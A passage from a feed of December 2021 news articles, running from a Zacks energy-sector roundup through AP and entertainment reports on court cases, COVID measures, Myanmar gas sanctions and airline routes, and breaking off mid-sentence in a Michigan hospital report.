XOM's emission-reduction plans for unconventional operations in New Mexico and Texas. The U.S. energy major intends to accomplish its net-zero targets by electrifying operations, allocating more investments in methane mitigation and detection technology, eliminating routine gas flaring and upgrading equipment. XOM also plans to use emission offset technology, including nature-based solutions. (ExxonMobil Aims Net-Zero Emissions for Permian Operation) 4. ConocoPhillips announced a preliminary 2022 capital budget following the recent acquisition of Permian Basin assets. Next year, the Zacks Rank #1 (Strong Buy) upstream biggie expects a company-wide capital expenditure of $7.2 billion, which includes $700 million associated with the Permian asset acquisition. The capital budget increased from $5.3 billion expected for 2021. You can see the complete list of todays Zacks #1 Rank stocks here. About 60% of the total budget will be addressed to the Lower 48 for short-cycle projects across ConocoPhillips high-quality unconventional asset base. The rest will be directed to mid-and longer-cycle projects across COPs diverse Alaska and international regions. The intended capital involves $200 million for emission-reduction projects across the companys global operations and investments in multiple low-carbon technologies to address end-use emissions. In 2022, ConocoPhillips expects to produce an average of 1.8 million barrels of oil equivalent per day (boe/d) compared with 1.5 million boe/d expected this year. The production estimate includes about 200,000 boe/d expected from the Permian transaction. (ConocoPhillips States Preliminary Capital Budget for 2022) 5. Cenovus Energy has provided a glimpse of its capital budget for 2022. For the next year, Cenovus Energy has set guidance for capital spending in the range of $2.6 billion to $3 billion. This suggests an improvement from this years capital spending guidance of $2.3 billion to $2.7 billion, as reported by CVE. Of the total capital budget for 2022, Cenovus Energy has allocated $1.7 billion to $2 billion toward upstream operations. In upstream, $1.35 billion to $1.6 billion will likely be invested by CVE for oil sand operations. With higher capital spending, Cenovus Energy expects its production to improve year over year in 2022. From upstream operations, the company expects average production in the range of 780 thousand barrels of oil equivalent (Mboe) to 820 Mboe, suggesting an improvement of 4% from this years production guidance of 750 Mboe to 790 Mboe. (Cenovus Guides for 2022 Production & Capital Spending) Price Performance The Energy Select Sector SPDR a popular way to track energy companies was up 3.8% last week. Over the past six months, the sector tracker has increased 3.4%. Whats Next in the Energy World? As the global oil consumption outlook strengthens amid tightening fundamentals, market participants will closely track the regular releases to watch for signs that could further validate the upward momentum. In this context, the U.S. governments statistics on oil and natural gas one of the few solid indicators that come out regularly will be on energy traders' radar. Data on rig count from the oilfield service firm Baker Hughes, which is a pointer to trends in U.S. crude production, is closely followed. News related to coronavirus vaccine approval/rollout/distribution will be of utmost importance. Last but not least, investors will keep an eye on the potential demand hit from the Omicron variant. Media Contact Zacks Investment Research 800-767-3771 ext. 9339 support@zacks.com https://www.zacks.com Past performance is no guarantee of future results. Inherent in any investment is the potential for loss. This material is being provided for informational purposes only and nothing herein constitutes investment, legal, accounting or tax advice, or a recommendation to buy, sell or hold a security. No recommendation or advice is being given as to whether any investment is suitable for a particular investor. It should not be assumed that any investments in securities, companies, sectors or markets identified and described were or will be profitable. All information is current as of the date of herein and is subject to change without notice. Any views or opinions expressed may not reflect those of the firm as a whole. Zacks Investment Research does not engage in investment banking, market making or asset management activities of any securities. These returns are from hypothetical portfolios consisting of stocks with Zacks Rank = 1 that were rebalanced monthly with zero transaction costs. These are not the returns of actual portfolios of stocks. The S&P 500 is an unmanaged index. Visit https://www.zacks.com/performance for information about the performance numbers displayed in this press release. 5 Stocks Set to Double Each was handpicked by a Zacks expert as the #1 favorite stock to gain +100% or more in 2021. Previous recommendations have soared +143.0%, +175.9%, +498.3% and +673.0%. Most of the stocks in this report are flying under Wall Street radar, which provides a great opportunity to get in on the ground floor. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report BP p.l.c. (BP): Free Stock Analysis Report Exxon Mobil Corporation (XOM): Free Stock Analysis Report ConocoPhillips (COP): Free Stock Analysis Report Royal Dutch Shell PLC (RDS.A): Free Stock Analysis Report Cenovus Energy Inc (CVE): Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Copyright 2021 Entrepreneur.com Inc., All rights reserved A former engineer at SpaceX alleged rampant sexual harassment at Elon Musk's rocket company in an article posted online Tuesday morning by Lioness, a storytelling platform that shares employees' allegations of workplace misconduct. Ashley Kosak, a former mission integration engineer at SpaceX, recounted multiple incidents of sexual harassment at the company, which she said did nothing to punish the offenders. Kosak could not be reached for further comment. "I found my way through an abusive upbringing, leaving home at a young age, subsequent homelessness, and sexual assault in college, and eventually got a job at the 'leading engineering company' in the world," Kosak wrote in the article. "Yet I simply could not find a way to navigate the conditions at SpaceXa workplace I consider to be in a state of disrepair and dysfunction so great that the only remedy, finally, was to leave." SpaceX did not respond to SFGATE's request for comment. Kosak alleges that sexual harassment occurred on multiple accounts. In one instance, while she was an intern, Kosak said a fellow intern grabbed her buttocks in their shared living quarters. At a team bonding event, she said another male colleague "ran his hand over my shirt, from my lower waist to my chest." She reported the incident to HR, but she said "no one followed up." She added that the man stayed on her team. "I reported each incident of sexual harassment I experienced to HR, and nothing was done," she wrote. "I was told that matters of this nature were too private to openly discuss with the perpetrators. Instead, they said mandated company training programs would be held. I presented ideas for a standardized framework for penalizing sexual harassers to HR, as they had not implemented any remedies; those ideas went unresponded to." Kosak also noted that, in the past year, she alerted HR to "multiple different incidents of sexism." "Some of the men who work at SpaceX hug women without consent, stare at women while they work, and interpret every company-related social event as an opportunity to date (or hit on) women in the office," she wrote. Kosak said she stayed at SpaceX, where she worked for more than two years according to her LinkedIn, "because the promise of the company is a carrot that spoke to everything I dreamed of as a first-generation American and woman in STEM." Eventually, Kosak quit. She now works as an operations program manager at Apple, according to her LinkedIn. "The last I heard, new SpaceX interns would receive training on how to better report their harassment," she concluded. "The harassers, on the other hand, have still not been held to account." Click here to read the full article. Authorities have arrested and charged three residents of a Florida retirement community for allegedly casting more than one ballot in the 2020 election, multiple outlets reported on Tuesday. Joan Halstead, Jay Ketcik, and John Rider all face a third-degree felony charge for their votes, which could land them in prison for up to five years. Its unknown which candidate they favored, but Halstead and Ketcik are both registered Republicans, The Orlando Sentinel reported (Rider does not have a register party affiliation). The retirement community where the trio lived, The Villages, is also a well-known MAGA hub, and pro-Trump material has reportedly appeared on Facebook pages appearing to belong to Ketcik, Halstead, and Rider. Halstead, 71, is accused of casting an in-person ballot in Florida while also voting absentee in New York. Authorities said Ketcik, 63, voted by mail in Florida and then voted absentee in Michigan. Both were arrested earlier this month and released on $2,000 bail after they turned themselves in. Brevard County deputies arrested the third alleged double voter, Rider, 61, at the Royal Caribbean cruise ship terminal in Port Canaveral on Dec. 3. Prosecutors have indicated he also voted once in Florida and once out-of-state, although further details were not immediately available, Orlando CBS affiliate News 6 reported. Multiple voting is unlawful, said Christina Pushaw, press secretary for Governor Ron DeSantis. It isnt a crime to be registered to vote in more than one state, as long as you only vote in one. Trump hosted an October rally at The Villages ahead of last years election. Thousands attended, according to the Sentinel. The community has continued to be a hotbed of MAGA activity since the president left office. Reps. Marjorie Taylor Greene (R-Ga.) and Matt Gaetz (R-Fla.) hosted a rally there in May. The Sentinel called The Villages as a refuge for the Trump-loving lawmakers, describing their rally as raucous. Click here to read the full article. An intoxicated Tory Lanez allegedly shouted, Dance, bitch! before shooting at Megan Thee Stallion during a roadside dispute after a July 2020 party at Kylie Jenners house, hitting her in the foot, according to a police officers testimony at Lanezs preliminary hearing Tuesday in his felony assault case in Los Angeles, according to Rolling Stone. Lanez (real name: Daystar Peterson) is charged with felony assault regarding the July 2020 incident, which took place following a party at Kylie Jenners home in the Hollywood Hills. (Megan) observed Mr. Peterson holding a firearm and then she observed him start to shoot, Los Angeles Police detective Ryan Stogner testified Tuesday, basing his account on interviews with Megan (real name: Megan Pete). He said Megan described Peterson as half in, half out, on the step board of the vehicle, when he allegedly fired, Stogner said. Megan immediately felt pain to her feet, observed blood, fell to the ground, and then crawled to an adjacent driveway of a residenceShe described her injuries as bleeding profusely, he testified. Megan stated the defendant apologized for doing it and offered her money and begged her to please not say anything and made a reference to the fact he was already on probation and he begged her not to say anything, Stogner testified. Megan has made this claim in the past, and a September 2020 report in Complex, citing an unnamed source, made a similar claim about Lanezs alleged comments at the incident. Peterson sat quietly in the courtroom Tuesday, according to the report. His defense lawyer, Shawn Holley, questioned Stonger about whether or not he knew it was Megan who invited Peterson to the party at Kylie Jenners house that preceded the alleged shooting. You never asked Megan how much she had to drink that day, did you? Holley asked. Not specifically, no, Stogner replied. But you are aware alcohol can impair a persons perception and their ability to recall? Holley asked. Lanez is facing two felony charges: assault with a semiautomatic firearm and carrying a loaded, unregistered firearm in a vehicle, along with an additional allegation that he personally inflicted great bodily injury. Prosecutors say he is facing up to 22 years and eight months in prison if convicted of the charges; the purpose of Tuesdays hearing was to determine whether the matter will go to trial. While the two offer dramatically differing details about the incident, Lanez has repeatedly denied Megans account in social media posts and even on an hour-long album with extensive lyrics addressing the accusations against him without directly saying he did not shoot her, beyond indirect statements in lyrics like I aint do it. Sources say that two sides were close to reaching a plea deal last month; Lanezs attorney Shawn Holley declined to comment at a hearing last month but told Rolling Stone that the rappers plea of not guilty stands. As in every case, the lawyers for the parties discuss the possibility of resolving the case. This case is no different. That said, our position as to what did and did not happen in this matter remains unchanged, she said in a statement. The incident took place after Megan, Lanez, his bodyguard, and an unidentified woman who is speculated to be Megans former close friend Kelsey Nicole had attended a party at Kylie Jenners Hollywood home earlier in the evening. The four were pulled over by police after a report of gunfire outside a second residence; a witness described the car they were traveling in. While initial reports said Megan had cut her feet on broken glass inside the car, she later claimed to be the victim of a shooting, but without identifying the gunman, whom she later identified in videos posted on social media as Lanez. Police responded to reports of gunfire outside a different residence and, following a description provided by witnesses, pulled over the vehicle in which Megan, Lanez and the others were traveling. All three were forced by police to lay spread-eagled on the ground; surveillance footage shows Megan limping and leaving bloody footprints as she exits the vehicle. Lanez was arrested for possessing a concealed weapon and released on $35,000 bail. While initial reports indicated that Megan had been injured by broken glass following an argument, over the following days and weeks, she directly accused Lanez of shooting her in the feet. She also posted photos of her injured feet on Instagram. You shot me, and you got your publicist and your people to [talk to] these blogs, lying and s, she said in a video. Stop lying! He has disputed her accounts in social media posts and an hour-long album issued in September. At one point on the album, Lanez rapped How the f you get shot in your foot, dont hit no bones or tendons? Megan later claimed that Lanez offered her money to keep quiet about the incident. In an interview with GQ published in November 2020, she recalled thinking on the night of the incident, [At this point] Im really scared, Megan says, because this is like right in the middle of all the protesting. Police are just killing everybody for no reason, and Im thinking, I cant believe you even think I want to take some money. Like, you just shot me. (A lawyer for Lanez denied to GQ that the rapper offered Megan and her friend money.) Yet Lanez has remained defiant since the incident, shunned by many in the hip-hop community but embraced by others, including Chris Brown, who was found guilty of assaulting Rihanna in 2009, and DaBaby, who brought Lanez onstage at the Rolling Loud festival in Miami last summer directly after Megans set. For that appearance, Lanez was arrested for violating the criminal restraining order barring him from coming within 100 yards of Megan or harassing her; prosecutors claimed that he attempted to rush the stage during her set. He later joined DaBaby who made homophobic comments during the set that later caused him to be canceled from multiple upcoming concert appearances onstage wearing a disguise while Megans song Cry Baby played. He later removed his disguise and performed with DaBaby. The incident caused a judge to increase his bail amount from $190,000 to $250,000. Sign up for Varietys Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. GOLDEN, Colo. (AP) A truck driver who was convicted of causing a fiery pileup that killed four people and injured six others on Interstate 70 west of Denver was sentenced Monday to 110 years in prison. District Court Judge Bruce Jones imposed the sentence against Rogel Aguilera-Mederos, 26, after finding it was the mandatory minimum term set forth under state law, The Denver Post reported. I will state that if I had the discretion, it would not be my sentence, the judge said. Aguilera-Mederos was convicted in October of vehicular homicide and other charges stemming from the April 25, 2019, crash. He testified that the brakes on his semitrailer failed before he plowed into vehicles that had slowed because of another wreck in the Denver suburb of Lakewood. But prosecutors argued he could have used one of several runaway ramps as his truck barreled down from the mountains. The chain-reaction wreck ruptured gas tanks, causing flames that consumed several vehicles and melted parts of the highway. Those killed were Miguel Angel Lamas Arellano, 24; William Bailey, 67; Doyle Harrison, 61; and Stanley Politano, 69. Sometimes it feels like being half a person when you lose your spouse, said Kathleen Harrison, who was married to Doyle Harrison. We were a team. A Jefferson County jury convicted Aguilera-Mederos of four counts of vehicular homicide, six counts of first-degree assault, 10 counts of attempted first-degree assault, four counts of careless driving causing death, two counts of vehicular assault and one count of reckless driving. Aguilera-Mederos, who was hauling lumber, was traveling at least 85 mph (137 kph) on a part of the interstate where commercial vehicles are limited to 45 mph (72 kph) because of a steep descent from the Rocky Mountain foothills, according to investigators. The initial impact caused a 28-vehicle chain-reaction wreck. Police said that just before the crash, the truck traveled past a ramp on the side of the interstate that is designed to safely stop trucks and other vehicles that have lost their brakes. Aguilera-Mederos wept as he spoke during the sentencing, apologizing to the families of the victims and asking for their forgiveness. I am not a criminal, he said. I am not a murderer. I am not a killer. When I look at my charges, we are talking about a murderer, which is not me. I have never thought about hurting anybody in my entire life. As we approach the end of the year, airlines continue to be optimistic about leisure travel for the coming new year. Evidence of this may be seen in new routes being introduced in Seattle, including a recent announcement of a new nonstop flight between Sea-Tac International Airport and Helsinki. This weeks airline news also includes a reminder that Delta is rolling over elite qualifying miles into 2022 and extending status benefits yet again for frequent flyers. Add to this a variety of airfare deals from Alaska and Delta, and its a great week for air travel. Keep reading to discover the latest airline news for Seattle and beyond. Alaska Airlines partner Finnair announces nonstop service to Finland Finnair, a oneworld alliance partner of Alaska Airlines, has announced new nonstop service between Seattle-Tacoma International Airport (SEA) and Finlands Helsinki-Vantaa Airport (HEL). The new route will begins June 1, with service three times weekly on Monday, Wednesday and Friday. Were excited to announce the new SEA-HEL route as the demand for international travel continues to grow exponentially, said Caroline Borawski, general manager, North America at Finnair. Helsinki-Vantaa Airport is just 20 minutes from downtown Helsinki, providing a seamless getaway for travelers exploring the capital city. Finnairs European network from Helsinki offers additional travel possibilities with connections to more than 70 European cities, including flights to Amsterdam, Vienna, Berlin and a variety of Scandinavian and Baltic cities. Were thrilled Finnair, a fellow oneworld member airline, will begin service from our hometown airport in Seattle, connecting our guests with new travel options to see the world, said Andrew Harrison, chief commercial officer at Alaska Airlines. The new nonstop service between Seattle and Helsinki will provide an easy, convenient way to visit Finland, and continue on to destinations across Europe, Asia and points beyond. And with our award-winning Mileage Plan program, our guests can earn and redeem miles for incredible journeys on Finnair. Alaskas Mileage Plan members with MVP status receive reciprocal benefits with oneworld partners such as Finnair, including the ability to earn and redeem miles, priority check-in and access to preferred seating. courtesy of Alaska Airlines Alaska fare sale, seasonal aircraft For domestic travelers, Alaska also has a number of airfare deals on offer. Book by Dec. 20 to take advantage of low fares from Seattle (SEA) including nonstop service to San Francisco (SFO) or San Jose (SJC) starting at $69, to Los Angeles (LAX) starting at $79, and to Austin (AUS) starting at $99 each way. Travelers flying out of Sea-Tac Airport this season may also notice a special-edition aircraft, as one of the Boeing 737-900ER planes showcases signature holiday drinks from Starbucks. Delta deals, status extension Delta is once again extending Medallion Status for frequent flyers. Those holding 2021 status even if extended from 2020 status will see their Medallion Status extended through Jan. 31, 2023. Delta flyers will also see their Medallion Qualification Miles completed from 2021 rolled over into 2022, giving travelers a greater chance of achieving status for 2023. Throughout 2022, Delta SkyMiles members will earn elite qualifying miles on award travel, an extremely rare occurrence travelers may benefit from for a second year with Delta. For those looking to get away soon, there are a number of Delta airfare deals from Seattle (SEA). Travelers will currently find flight deals from Seattle to San Francisco (SFO) starting at $127 or 10,000 miles roundtrip, Seattle to Boise (BOI) starting at $133 or 13,000 miles roundtrip, and Seattle to Phoenix (PHX) starting at $135 or 9,000 miles roundtrip. DECATUR, Ala. (AP) An Alabama man convicted of murder in his cousin's shooting death two year ago was sentenced to life imprisonment without parole on Wednesday. Morgan County Circuit Judge Charles Elliott imposed the sentence on Shadeed Abdul Fuqua, 31, of Decatur for the killing of Jarmaine Cardell Jones, news outlets reported. JUNEAU, Alaska (AP) Alaska Gov. Mike Dunleavy said he plans to issue an administrative order creating a council on missing and murdered Indigenous people. Dunleavy said at a news conference in Anchorage that the idea is to do the investigative work to make sure that justice occurs. He said he wants to bring together groups that are focused on the issue and combine resources to develop the best approach possible" to try to resolve cases. JAKARTA, Indonesia (AP) The young woman in Myanmar decided to speak out when she realized that money from the company she loved was now in the hands of the military leaders she hated. She worked for Total Energies, the French company that operates a gas field off Myanmars coast with a state-owned enterprise. But in February, the military took over Myanmars government and its bank accounts, including those that receive hundreds of millions of dollars each year from the Yadana gas field. As military abuses such as the murder and detention of thousands grew, the young woman joined others across Myanmar in a groundswell of support for targeted sanctions on oil and gas funds, the countrys single largest source of foreign currency revenue. But Western governments most notably the United States and France have refused to take that step amid lobbying from energy company officials and resistance from countries such as Thailand, which gets gas from Myanmar. On Friday, the U.S. announced a raft of sanctions against several Myanmar officials and entities, but again left out oil or gas revenues. The young woman has since lost her job. And later, after protesting the military's takeover of her country, she was thrown into prison for three weeks. I feel very disappointed in Total because they are neglecting this country in which they invested, says the young woman, whose name is being withheld by The Associated Press to protect her from retaliation by the military. Total and energy giant Chevron, which also is a partner in Yadana, say they are trying to protect their employees in Myanmar, and also to keep crucial gas supplies flowing to the people of Myanmar and Thailand. In August, Myanmar activists launched the Blood Money Campaign movement, risking their lives by marching in the streets and carrying signs that read: Freeze payments to junta and save Myanmar. The United Nations top expert on human rights in Myanmar says millions of people across the country are imposing personal sanctions by withholding taxes, refusing to pay power bills and boycotting products linked to the military. And on Nov. 30, hundreds of human rights organizations in Myanmar joined their international colleagues in signing a letter asking Totals CEO to stop payments to military-controlled accounts. The AP also obtained a copy of a letter from workers at Yadana to their managers calling on Totals subsidiary, Total E&P Myanmar, to suspend export payments to the military and place the funds in a protected account. Activists are looking not to shut down the gas field, but to place revenues in an offshore bank account that the military cant touch. The sanctions would target the state-owned Myanma Oil and Gas Enterprise (MOGE), which is a joint venture partner in all offshore gas projects in Myanmar, including Yadana with Total, Chevron, and Thailands PTT Exploration & Production. Total has a majority stake in the venture and runs its daily operations, while MOGE collects revenues on behalf of the government. About 50 percent of Myanmars foreign currency comes from natural gas revenues, with MOGE expected to earn $1.5 billion from offshore and pipeline projects in 2021-2022, according to a Myanmar government forecast. The Yadana gas project and pipeline earned around $400 million in revenues in 2017-2018. Yet neither U.S. President Joe Biden nor French President Emmanuel Macron have publicly moved against Myanmars oil and gas revenues. In response to questions from the AP, the U.S. State Department pointed to a list of other people and entities the U.S. has already sanctioned, including military officials and a state-owned gems enterprise. We will not hesitate to take further action against those who perpetrate violence and suppress the will of the people, the department said in a statement. U.S. Secretary of State Antony Blinken said Wednesday that the Biden administration is weighing tough new sanctions on Myanmar to pressure the countrys military leaders to restore a democratic path. An aide on the House Foreign Affairs Committee acknowledged that oil and gas make up a huge chunk of the militarys ability to maintain control. But a measure introduced in the House in October that specifically calls out MOGE as a potential sanctions target has yet to advance. The aide, who spoke on condition of anonymity to describe the thinking around the legislation, said objections from Singapore and Thailand have played a role in the Biden administrations hesitation to impose new sanctions, as has lobbying from Chevron. Singapore's banks are accused by activists of holding assets on the military's behalf, although Singapore denied in February that they had significant funds from Myanmar companies and individuals." In the first half of 2021, Chevron reported spending $3.7 million on federal lobbying in the U.S., with Burma Energy Issues and Myanmar Energy and Investment Issues listed as specific lobbying issues of focus. In response to questions from the AP, a spokesman for Chevron pointed to an earlier statement from the company, which said Chevron would comply with any sanctions imposed by the U.S. Any actions should be carefully considered to ensure the people of Myanmar are not further disadvantaged by unintended and unpredictable consequences of well-intentioned decisions, Chevron wrote in its May statement. The French government says it is excluding sanctions on oil and gas because it wants to avoid adding to the burdens of Myanmar civilians, and to target individuals from the junta rather than a vital economic sector. France also wants to stay involved on the ground, which requires operational contacts with Myanmars administration, according to a senior official in the French presidents office. French authorities have told activists that Europe is expecting to impose a fourth round of sanctions by Feb. 1, the anniversary of the militarys takeover, and that both the energy and banking sectors are on the table. Total cancelled exploration for new deposits in Myanmar after the military takeover. Total said in a statement that it is trying to keep its employees in Myanmar safe from reprisals such as forced labor. Total also argues that it has to pay taxes and respect its contract legally, and that it will donate the equivalent of the taxes to human rights associations in Myanmar. Total said it would willingly comply with any new international sanctions, which would override local laws that govern its contracts in Myanmar. In particular, should MOGE be under economic sanctions it would oblige all parties to put all cash flows due to MOGE in an escrow account, the company told AP in a statement. We have taken all possible measures under our control and respecting the legal framework without putting our staff at risk. But some employees say the risk to them pales in comparison to the risk to the entire country. And MOGE can be sanctioned without interrupting the flow of energy, said Tom Andrews, the United Nations special rapporteur on Myanmar. Activists say its unconscionable for any company to help fund a military that has engaged in mass torture and forcibly disappeared thousands. The military told the AP that state revenue is used for education, infrastructure and public service, and is also used proportionately for the rule of law and for defense. Putting restrictions on the current government is directly affecting the social and economic life of the citizens, the military said in a statement to the AP. ___ Gelineau reported from Sydney and Hinnant reported from Paris. AP Business Writer Elaine Kurtenbach in Bangkok and correspondent Ben Fox in Washington contributed to this report. PORTLAND, Maine (AP) A prominent Maine defense attorney accused of overbilling the state for court-appointed work is denying any wrongdoing. Amy Fairfield is being sued by the Maine attorney general for allegedly misrepresenting the hours lawyers worked on cases to earn a higher reimbursement from the state. Since January 2016, Fairfield & Associates has been paid $6.8 million by the Maine Commission on Indigent Legal Services. We work hard, and we represent people very well, Fairfield told WMTW-TV in an interview. I am very confident that I have done nothing wrong, and I will stand up to them. Her law firm with 14 attorneys in four offices has taken on roughly 3,000 new cases a year in the past. She said that typically represents about 10% of the state's indigent caseload. Maine is the only state without a public defender system. Instead, the state relies on a network of private attorneys to perform court-appointed work. Fairfield exited the pool of attorneys utilized by the Maine Commission on Indigent Legal Services in July, when she declined to share office records as part of the investigation. WASHINGTON (AP) President Joe Biden announced Wednesday he's nominating Caroline Kennedy, the daughter of President John F. Kennedy who served as ambassador to Japan during the Obama administration, to serve as ambassador to Australia and Michelle Kwan, the renowned U.S. Olympic figure skater, to serve as his chief envoy to Belize. Kennedy threw her support behind Biden relatively early in the crowded 2020 Democratic primary process. In a Boston Globe editorial to announce her endorsement, she praised Biden for his long career as a public servant and fondly recalled Biden visiting Tokyo as vice president while she was ambassador. SAN FRANCISCO (AP) California is exempting San Francisco from a rule that takes effect Wednesday requiring all people to wear masks indoors in a bid to contain a troubling rise in new coronavirus cases. San Francisco will continue to allow fully vaccinated people to remove their masks in gyms and workplaces while its overall masking mandate remains in effect, the city Department of Public Health announced. Its a recognition of all of the thought and care that San Francisco residents have been putting into staying as safe as possible, said Dr. Susan Philip, San Franciscos health officer. About 86% of eligible San Francisco residents have received at least one vaccine dose, according to the public health department. San Francisco businesses were relieved that the city can continue permitting fully vaccinated people to go maskless in some indoor locations. To have any disruption at all in the progress weve made over the last year and a half in getting customers back would have been devastating, Dave Karraker, co-owner of MX3 Fitness and spokesman for the San Francisco Independent Fitness Studio Coalition, told the San Francisco Chronicle. Several other San Francisco Bay Area counties also had relaxed masking rules for vaccinated people but it wasn't immediately clear whether the state would exempt them, too. California lifted its statewide mask mandate on June 15 for people who were vaccinated, a date that Gov. Gavin Newsom heralded as the states grand reopening. But health officials are worried about the spread of the new omicron COVID-19 variant, which health officials believe can spread more easily than the original and delta strains. The virus is particularly hitting the unvaccinated. The new mandate, which will remain in force until at least Jan. 15, also is aimed at reducing the COVID-19 risk when friends and families travel or gather indoors for the holidays. However, officials haven't specified how it will be enforced and have acknowledged that much will depend on voluntary public compliance. After California lifted its statewide indoor mask mandate this summer, county governments covering about half of the states population imposed their own mandates as case rates surged with new variants. The order comes as the statewide seven-day average rate of new coronavirus cases has jumped 47% since Thanksgiving and hospitalizations have risen by 14%, according to the state Department of Public Health. That's still far below a surge last winter before vaccines were available when the state averaged more than 100 cases per 100,000 people and nearly 20,000 people died during an eight-week period. What's worrying now is that even though more than 70% of eligible Californians are fully vaccinated, some areas of the state still have low vaccination rates that put communities of greater risk for the coronavirus, according to the health department. Given the current hospital census, which is at or over capacity, even a moderate surge in cases and hospitalizations could materially impact Californias health care delivery system within certain regions of the state," the department said. California joins other states with similar indoor mask mandates, including Washington, Oregon, Illinois, New Mexico, Nevada, Hawaii, and New York. California also is tightening existing testing requirements by ordering unvaccinated people attending indoor events of 1,000 people or more to have a negative test within one or two days, depending on the type of test. The state also is recommending travelers who visit or return to California to get tested within five days of their arrival. BLACKFOOT, Idaho (AP) An eastern Idaho sheriff has been charged with two felonies after state investigators accused him of threatening a church youth group with a gun. The Idaho Attorney General's Office charged Bingham County Sheriff Craig Rowland with aggravated battery, aggravated assault and misdemeanor exhibition of a gun on Tuesday, EastIdahoNews.com reported. Rowland agreed to take a leave of absence shortly after the allegations arose in November, though he still retains his elected position as sheriff. Rowland declined to comment Wednesday after EastIdahoNews.com asked him about the charges and his recounting of events. In court documents, investigators with the Idaho Attorney General's office wrote that a youth group from the Church of Jesus Christ of Latter-day Saints was participating in an activity Nov. 9 where they delivered thank-you notes to members of the congregation. The girls, aged 12 to 16, taped the notes to the church-goers' doors and then rang their doorbells, running away before they could be seen. Seven of the youth group members and an adult leader went to Rowland's neighborhood to leave a note for the sheriff and his wife, according to the court documents. In separate interviews with investigators, members of the youth group and Rowland both reportedly said that after the group left the note, Rowland stopped their car from driving away, pulled the adult driver out of the vehicle by her hair and pointed his handgun at her head, yelling profanities at her. Eventually Rowland went back to his home and the group was able to leave, according to the court documents. The investigators said Rowland told them that threats had been made against him and his wife in recent months and he was worried about people coming to the home. I have been doing this job for 36 years, Rowland said in a statement in which he also disparaged the people on a nearby Indian reservation, calling them not good people and saying their proximity was the reason for his actions. Rowland is scheduled to make his first court appearance in the case on Dec. 22. He has not yet had the opportunity to enter a plea. TOPEKA, Kan. (AP) Kansas' state health department has identified a potential case of COVID-19 caused by the omicron variant, Gov. Laura Kelly said Wednesday. Kelly told reporters after a public event that health officials believed they had identified two potential omicron variant cases this past weekend, but genetic testing of patient samples ruled out one of them. Testing on the other has not been completed. At least 30 states have confirmed cases linked to the omicron variant, but Kansas has yet to announce that it has. Kelly said that confirming an omicron case won't change the approach in addressing the novel coronavirus' continued spread. An average of 1,609 new confirmed and probable COVID-19 cases a day were reported in Kansas for the seven days ending Wednesday, according to state health department data. New COVID-19 hospitalizations averaged 47 a day and deaths, 18 a day, during the same period. Federal data said 56% of Kansas' 2.9 million residents had been fully vaccinated against COVID-19 as of Wednesday, compared to the national figure of 61%. But 28% of the state's population has received booster shots, compared to the national figure of 27%. ATHENS, Greece (AP) Greenpeace on Wednesday renewed calls against proposed deep-sea oil and gas exploration off southwest Greece, warning of unbearable consequences to endangered Mediterranean whales and dolphins. Greenpeace Greece official Kostis Grimanis said the project should be scrapped before it starts to wreck the Mediterranean. The appeal came as the environmental group published new research on sea mammal populations in parts of the miles-deep Hellenic Trench, including areas that would be affected by prospecting. The three-week summer project, in cooperation with the Athens-based Pelagos Cetacean Research Institute, detected 35 endangered sperm whales and dozens of dolphins some threatened in depths of up to 4,200 meters (13,800 feet). Greenpeace said sound-sensitive cetaceans whales and dolphins would be at risk from the deafening sonic blasts used in undersea prospecting. Greek officials counter that strict environmental safeguards will be observed. In 2019, Greece granted exploration rights for two blocks of seabed south and southwest of the island of Crete to a consortium of energy companies TotalEnergies and ExxonMobil with Greeces Hellenic Petroleum. Environmentalists had protested at the time, also highlighting the potential risk of spills from deep-water drilling. Prospecting has not yet started, and it's unclear when it will although the concession states that it must be in the winter, to less impact cetacean breeding periods. Greenpeace's Grimanis said the project means exposing endangered species and crucial ecosystems to unbearable noise and pollution from seismic blasts and deep-sea drilling operations. And for what? To keep burning oil and gas, one of the dirtiest and most expensive energy sources, when the climate crisis demands we urgently walk away from them. The Hellenic Trench includes the Mediterranean's deepest waters, at 5,267 meters (17,300 feet) and is a vital habitat for the seas few hundred sperm whales, and for other cetaceans already threatened by fishing, collisions with ships and plastic pollution. These mammals are particularly sensitive to the underwater noise produced by seismic surveys for fossil fuels, in which sound waves are bounced off the seabed to locate potential deposits. Sonar used by warships has been shown to have deadly effects on whales, and experts say seismic surveys can do the same. Greece is hoping to raise revenues and achieve greater energy security through offshore oil and gas, and the issue of undersea exploitation rights has further poisoned relations with neighboring Turkey which claims large parts of the Eastern Mediterranean as its own. Nevertheless, a Greenpeace statement Wednesday urged Athens to immediately cancel all fossil fuel plans. Any new investment in the falsely advertised good fossil gas will in a few years become a stranded asset with dire consequences for the economy ... and the countrys natural resources, it said. HONOLULU (AP) Honolulu has become the latest Hawaii county to adopt its own hotel tax after Mayor Rick Blangiardi signed legislation adding a 3% surcharge to the states levy on short-term rentals. Officials estimate the new tax could generate about $86 million a year for Oahu, the Honolulu Star-Advertiser reported. WINSTON-SALEM, N.C. (AP) Officials with a Boy Scouts of America chapter in North Carolina did nothing to prevent Scout leaders from sexually abusing 21 children between 1960 and 2010, according to a lawsuit. The lawsuit was filed on Nov. 29 in Forsyth County Superior Court against Old Hickory Council of Boy Scouts of America Inc., the Winston-Salem Journal reported. Another lawsuit filed on the same day alleges that an 11-year-old boy was sexually assaulted multiple times by a Scout leader while on a camping trip in Mount Airy in 1978 and that another Scout leader allowed it to happen. LANSING, Mich. (AP) Michigan's record-high number of hospitalized COVID-19 patients dipped Wednesday, the first drop in 49 days as health leaders continued to urge vaccinations while describing a dire situation inside hospitals. The state recorded 330 additional deaths, including 100 in the most recent 48-hour period. The seven-day average of daily deaths, 120 as of Monday, was up substantially from 67 two weeks before, according to Johns Hopkins University. That is similar to levels from a year ago, before vaccines were widely available. Henry Ford Health System, which has five hospitals in the Detroit area and Jackson, on Wednesday reported roughly 500 coronavirus patients, a 34% increase over the past month. We are in crisis. There's no way around it. There's no way to sugarcoat it, said Bob Riney, president of health care operations and chief operating officer. The hospitals are not built to operate at close to 100% capacity for months, he said. The number of adults in hospitals with confirmed infections statewide, 4,361, fell from 4,518 two days earlier. It was the first decline since Oct. 27. The portion of tests coming back positive in Michigan has exceeded 15% for a record 39 consecutive days. The state health department again urged residents to be vaccinated and those who are fully vaccinated to get a booster shot if eligible. For the last 30 days of complete data, Oct. 19 to Nov. 19, 72% of hospitalized patients and 76% of deaths were among people not fully vaccinated. We have the tool to get out of the 